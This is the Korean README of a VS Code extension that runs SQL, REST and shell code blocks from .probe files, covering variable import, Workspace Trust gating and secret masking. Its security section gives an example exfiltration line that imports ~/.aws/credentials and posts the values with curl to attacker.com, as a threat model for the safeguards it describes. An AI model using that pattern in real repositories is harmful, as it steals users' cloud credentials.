.probe 파일 하나에 SQL·HTTP 요청·셸 명령을 마크다운 코드 블럭으로 적어두고, 블럭 단위로 실행하는 VS Code 확장입니다. 스크래치패드처럼 쿼리·요청·명령을 모아두고 버튼 한 번으로 돌립니다.
## 사용자 수
```sql
SELECT COUNT(*) FROM users;
```
## 헬스 체크
```rest
GET https://httpbin.org/get
```
## 배포 상태
```sh
git log --oneline -5
```
각 코드 블럭 위에 ▶ Run Query / ▶ Send Request / ▶ Run Command 버튼(CodeLens)이 뜨고, 커서를 블럭 안에 두고 Cmd+Enter로도 실행됩니다.
기능
.probe언어:.probe확장자를 전용 언어로 인식- 블럭 실행: 마크다운 펜스로 감싼 블럭만 실행
```sql→ 로컬mysqlCLI로 실행, 결과를 "Probe SQL" 출력 창에 표시```rest→ REST Client 확장의 Send Request 로 전송```sh(bash/shell/zsh도 동일) → 셸로 실행, 결과를 "Probe Shell" 출력 창에 표시
- 실행 방법 3가지
- 블럭 위 CodeLens 버튼 클릭
- 커서를 블럭 안에 두고
Cmd+Enter - 우클릭 → Probe: Run Query
- 변수 치환: 문서 상단에서
@import ./vars.env로 값을 불러오고, 블럭의{{KEY}}를 실행 직전에 치환 - 안전장치: 닫는 펜스(
```)가 없는 미완성 블럭은 실행 대상에서 제외
요구 사항
| 대상 | 필요한 것 |
|---|---|
```sql 블럭 |
mysql CLI (PATH에 없으면 probe.mysql.path로 전체 경로 지정) |
```rest 블럭 |
VS Code 확장 humao.rest-client |
```sh 블럭 |
없음 (기본은 $SHELL, 없으면 /bin/bash) |
셸 블럭
```sh 블럭의 내용은 셸에 통째로 넘어갑니다. 여러 줄, 파이프, 리다이렉션 모두 터미널에 붙여넣은 것과 같게 동작합니다.
```sh
cd api && git fetch --quiet
git log --oneline origin/main -5
```
- 작업 디렉터리: 워크스페이스 폴더 → (없으면)
.probe파일이 있는 폴더.probe.shell.cwd로 고정할 수 있습니다. - 환경: 기본적으로 로그인 셸(
-l) 로 실행해.zprofile등 프로필을 읽습니다. 그래서 PATH와 alias가 평소 터미널과 같습니다 (probe.shell.loginShell로 끌 수 있음). - 중단: 오래 도는 명령은
Cmd+Shift+P→Probe: Stop Shell Command로 끊습니다. 파이프로 띄운 자식까지 프로세스 그룹째 종료합니다. - 출력: stdout/stderr를 "Probe Shell" 출력 창에 흘려보내고, 끝나면 종료 코드와 걸린 시간을 찍습니다. 색상 이스케이프는 제거합니다.
대화형 명령(
vim, 비밀번호 프롬프트 등)은 출력 창이 입력을 받지 못하므로 쓸 수 없습니다. stdin은 바로 닫힙니다.
안전장치
셸 블럭은 임의의 명령을 실행합니다. .probe 파일과 .vscode/settings.json은 저장소에 커밋돼 함께 배포되므로, VS Code가 tasks.json을 다루는 것과 같은 장치에 맡깁니다.
- 워크스페이스 신뢰(Workspace Trust): 신뢰하지 않은 폴더에서는
```sh블럭을 실행하지 않습니다. 실행을 시도하면 신뢰 설정으로 안내합니다. - 설정 주입 차단: 신뢰하지 않은 폴더에서는
probe.shell.path,probe.shell.cwd,probe.mysql.path의 워크스페이스 값을 무시합니다. 남의 저장소가.vscode/settings.json으로 실행 파일 경로를 바꿔치기하는 것을 막습니다. - 확인 창:
probe.shell.confirmBeforeRun을 켜면 실행 전에 스크립트 전문을 보여주고 묻습니다. 분량이 넘쳐 잘릴 때는 잘렸다는 사실을 함께 표시합니다. - 자동 실행 없음: 파일을 여는 것만으로는 아무것도 실행되지 않습니다. 항상 버튼이나
Cmd+Enter가 필요합니다.
폴더를 신뢰하면 그 폴더의 워크스페이스 설정과 셸 블럭이 모두 활성화됩니다 — 신뢰는 "이 저장소의 내용을 확인했다"는 뜻입니다. 남에게 받은
.probe는 신뢰하기 전에 읽어보세요.
변수 치환
문서가 자기 머리에서 변수 파일을 불러오고, 블럭을 실행하기 직전에 {{KEY}}를 그 값으로 바꿉니다. 값의 출처가 문서에 적혀 있으므로, 파일을 받은 사람도 같은 결과를 얻습니다.
@import ../.env # 프로젝트가 이미 갖고 있는 값
@import ./db.env # 이 문서에 필요한 값 추가
@import ./local.env # 내 PC 전용 오버라이드 (git-ignore)
## 사용자 수
```sql
SELECT COUNT(*) FROM users WHERE tenant = '{{TENANT}}';
```
@import <경로>— 코드 블럭 밖의 줄 시작에 오면 지시자입니다. 문서 어디에 있어도 문서 전체에 적용되고, 관례는 첫 제목 위 최상단입니다.- 여러 줄 = 겹쳐 쌓기 — 뒤에 온 파일이 앞의 같은 키를 덮습니다(later-wins). 얕은 키 단위 병합입니다.
- 경로 — 상대 경로는
.probe파일이 있는 디렉터리 기준.~,${workspaceFolder},${fileDirname}도 쓸 수 있습니다. - 형식은
.env(dotenv) — 프로젝트에 이미 있고 이미 git-ignore 된 파일을 그대로 씁니다. 중첩@import는 지원하지 않습니다(.env는 dotenv 형식이지 Probe 문법이 아닙니다).
examples/variables.probe에 동작하는 예시가 있습니다.
토큰 규칙
- 문법은
{{KEY}}하나. 내부 공백 허용({{ KEY }}), 키는[A-Za-z_][A-Za-z0-9_]*, 대소문자 구분. - 재귀 치환 없음 — 값 안의
{{X}}나${X}는 리터럴로 남습니다. - 리터럴 삽입 — 인용·이스케이프를 자동으로 하지 않습니다. 어떤 문맥(셸 문자열 안/밖, SQL 리터럴 안)에 들어가는지 알 수 없고, 잘못 추측한 자동 인용은 조용히 값을 바꿔버리기 때문입니다. 여러 줄 값은 따옴표 안에 두세요.
echo "{{PRIVATE_KEY}}" > /tmp/key.pem # 따옴표 안 → 의도대로 echo {{PRIVATE_KEY}} > /tmp/key.pem # 따옴표 밖 → 줄바꿈에서 명령이 쪼개짐
```sh 블럭에서 $VAR는 셸 자신이 프로세스 환경변수로 해석합니다. 역할이 겹치지 않습니다.
curl {{BASE_URL}}/health -H "Authorization: Bearer $CI_TOKEN"
# ^^^^^^^^^^^^ import한 파일의 값 ^^^^^^^^^ 실행 시점 셸 환경
러너별 적용
| 러너 | 치환 |
|---|---|
```sql |
✅ mysql stdin으로 보내기 직전 |
```sh |
✅ 셸에 넘기는 스크립트 원문 |
```rest |
❌ 치환하지 않음 |
rest블럭은 예외입니다. Probe는 블럭 범위를 선택으로 만들어 REST Client에 넘기기만 하므로 텍스트에 개입할 수 없고, REST Client는 이미 자체{{var}}기능을 갖고 있어 이중 치환이 됩니다. 문법은{{}}로 같아 보여도 책임 주체가 블럭 타입에 따라 다릅니다 —sql/sh는 Probe가,rest는 REST Client가 채웁니다.
미정의 변수는 실행을 막습니다
{{KEY}} 중 하나라도 import한 파일에 없으면 실행하지 않습니다. WHERE id = {{USER_ID}}가 WHERE id = 로 나가 전체 테이블을 대상으로 하는 사고를 막기 위한 것이며, 여기서는 타협하지 않습니다. 부분 치환은 없습니다.
KEY=로 정의한 빈 문자열은 미정의가 아닙니다 — 치환되고 실행됩니다. 키를 미정의로 되돌리는 문법은 없습니다.- 문서에
{{}}토큰이 아예 없으면 import가 깨져 있어도 실행을 막지 않습니다(경고만).
에디터에는 진단으로 바로 표시됩니다 — 실행할 때만 알려주면 문서를 쓰는 동안 오타를 모릅니다.
| 상황 | 표시 | 실행 |
|---|---|---|
{{UNKNOWN}} — import에 없는 키 |
토큰 위치에 Error | 차단 |
@import 대상 파일 없음 |
@import 줄에 Warning |
토큰이 있으면 차단 |
| import 경로가 워크스페이스 밖 | @import 줄에 Warning |
허용 |
| 같은 파일 중복 import | @import 줄에 Info |
허용 |
.env의 닫히지 않은 따옴표 |
.env 해당 줄에 Error |
그 키는 미정의 |
.env의 해석 불가한 줄 |
.env 해당 줄에 Warning |
나머지 키로 진행 |
import한 파일을 저장하면 진단이 바로 갱신됩니다.
로드 상태 확인
@import 줄 위 CodeLens는 전환기가 아니라 로드 상태 표시기입니다.
┌ db.env · 변수 4개
@import ./db.env
- 클릭하면 이 파일이 정한 값과, 뒤 파일에 가려진 값을 보여줍니다. 여러 파일을 겹쳐 쌓을 때 "지금 실제로 무슨 값이 쓰이나"가 가장 헷갈리는 지점입니다.
- 파일이 없으면
⚠ db.env 없음으로 바뀝니다. Probe: Show Resolved Variables— 병합된 최종 맵 전체와 각 키의 출처 파일을 봅니다.
dotenv 방언
파서를 직접 씁니다(src/core/dotenv.ts). 지원 범위는 아래가 전부입니다.
| 규칙 | 동작 |
|---|---|
KEY=value |
기본. 값 앞뒤 공백은 trim |
export KEY=value |
export 접두 허용 |
# comment |
전체 줄 주석. 빈 줄 무시 |
KEY="a b" |
큰따옴표: 따옴표 제거, \n·\t·\"·\\ 해석 |
KEY='a b' |
작은따옴표: 따옴표 제거, 이스케이프 해석 안 함 |
KEY= |
빈 문자열로 정의됨 (미정의와 구분) |
값 안의 ${OTHER} |
보간하지 않음. 리터럴 유지 |
| 중복 키 | 나중 것이 이김 |
- 따옴표 없는 값의 행중 주석(
KEY=value # comment)은 주석이 아닙니다 —PASSWORD=ab#cd같은 값이 조용히 잘리는 게 더 위험합니다. 주석을 붙이려면 값을 따옴표로 감싸세요. - 여러 줄 값: 값이 따옴표로 시작하고 같은 줄에서 닫히지 않으면 닫는 따옴표가 나오는 줄까지 이어 읽습니다.
닫는 따옴표 없이 파일이 끝나면 그 키를 정의하지 않고 시작 줄에 Error를 냅니다. 나머지를 조용히 값으로 삼키지 않습니다.PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA... -----END RSA PRIVATE KEY-----"
신뢰와 시크릿
@import는 임의 파일을 읽어 셸 명령에 삽입하는 경로입니다. 악의적 저장소라면 @import ~/.aws/credentials 후 curl attacker.com -d '{{...}}' 같은 유출이 성립합니다. probe.shell.path를 게이팅하는 것과 같은 위협 모델이므로 같은 장치에 맡깁니다.
- 신뢰하지 않은 폴더에서는
@import를 수행하지 않습니다(파일을 읽지 않습니다).{{}}가 든 블럭은 실행이 차단됩니다. - 확인 창과 출력 창 미리보기에는 치환된 최종 텍스트를 보여줍니다 — 실행 전에 값이 맞는지 확인할 수 있어야 합니다. 단 키 이름이
TOKEN/SECRET/PASSWORD/PWD/API_KEY/PRIVATE_KEY류면 값을••••••••로 가립니다(probe.variables.maskSecretLike). .env가.gitignore에 있는지 확인하세요. Probe는 값을SecretStorage로 옮기지 않습니다 — 파일이 원본입니다.
설정
Cmd+, → probe.mysql 검색, 또는 설정 JSON에 직접 입력합니다.
| 설정 | 기본값 | 설명 |
|---|---|---|
probe.mysql.path |
mysql |
mysql 실행 파일 경로 |
probe.mysql.host |
localhost |
호스트 (-h) |
probe.mysql.user |
root |
사용자 (-u) |
probe.mysql.database |
`` (빈 값) | 사용할 데이터베이스 |
probe.shell.path |
`` (빈 값) | 셸 실행 파일. 비우면 $SHELL → /bin/bash |
probe.shell.loginShell |
true |
로그인 셸(-l)로 실행해 프로필(PATH·alias)을 읽음 |
probe.shell.cwd |
`` (빈 값) | 작업 디렉터리. ${workspaceFolder}, ${fileDirname}, ~ 사용 가능 |
probe.shell.confirmBeforeRun |
false |
```sh 블럭 실행 전 확인 창 |
probe.variables.maskSecretLike |
true |
키 이름이 TOKEN/SECRET/PASSWORD 등일 때 미리보기에서 값을 가림 |
비밀번호는 설정이 아니라 커맨드 팔레트(Cmd+Shift+P)로 입력합니다.
Probe: Set MySQL Password— 현재 host/user/database 조합에 대한 비밀번호를 입력받아 VS Code의SecretStorage(OS 키체인)에 저장합니다.Probe: Clear MySQL Password— 저장된 비밀번호를 지웁니다.
보안:
probe.mysql.password설정은 더 이상 쓰지 않습니다. 과거에 설정해둔 값이 남아 있다면 다음 실행 때 자동으로 SecretStorage로 옮겨지고 설정에서 지워집니다. 직접.vscode/settings.json에 비밀번호를 적어두지 마세요 — 저장소에 커밋될 수 있습니다.
사용법
- 아무
.probe파일을 만든다 (예:queries.probe). - 마크다운처럼 설명과 코드 블럭을 적는다.
- 실행할
```sql/```rest/```sh블럭 위 버튼을 누르거나, 블럭 안에서Cmd+Enter.
examples/sample.probe에 예시가 들어 있습니다.
개발
npm install # 의존성 설치
npm run compile # TypeScript(→ out/) 컴파일
npm run watch # 변경 감지 컴파일
npm test # 단위 테스트 (bun)
VS Code에서 이 폴더를 열고 F5 → 확장이 로드된 새 창(Extension Development Host)이 뜨고 examples/ 폴더가 열립니다. 소스를 고치면 새 창에서 Cmd+R로 리로드합니다.
EDH가 여는 폴더를
examples/로 둔 이유, F5가 동작하지 않을 때의 원인 등은 TROUBLESHOOTING.md에 정리해두었습니다.
- 언어: TypeScript 7 (
tsc로 빌드/타입체크) - 포매팅: Prettier (세미콜론 없음, 작은따옴표, 저장 시 자동 적용)
- 테스트: bun (
bun test)
구조
src/
├── extension.ts # 러너 등록 + 명령/CodeLens (dispatch)
├── core/
│ ├── blocks.ts # 마크다운 코드 블럭 파싱 (순수 로직)
│ ├── outline.ts # 제목·블럭 심볼 트리 (순수 로직)
│ ├── dotenv.ts # .env 파싱 (순수 로직)
│ ├── imports.ts # @import 수집 + 경로 해석 (순수 로직)
│ ├── variables.ts # {{KEY}} 스캔·치환·병합 (순수 로직)
│ └── registry.ts # Runner 타입 + register/getRunner
├── variables/ # 변수 기능의 vscode 계층 (파일 읽기·진단·CodeLens)
└── runners/
├── mysql/ # ```sql 실행
├── rest/ # ```rest 실행
└── shell/ # ```sh 실행
새 러너 추가하기
src/runners/<name>/index.ts에서Runner를 exportexport const fooRunner: Runner = { lang: 'foo', aliases: ['foo2'], // 선택: 같은 러너를 부르는 다른 펜스 표기 label: '▶ Run', // payload.text = {{KEY}} 치환이 끝난 실행용 텍스트 // payload.display = 사람에게 보여줄 텍스트 (시크릿 마스킹 적용) run: (editor, range, payload) => { /* ... */ }, }substituteVariables: false를 주면 치환을 건너뛰고 원문이 그대로 넘어옵니다(rest가 그렇습니다).src/extension.ts에 두 줄 추가import { fooRunner } from './runners/foo' register(fooRunner)test/runners/<name>.test.ts로 테스트 추가
러너가 커지면 그 폴더 안에서 client.ts, config.ts 등으로 나누면 됩니다.
라이선스
MIT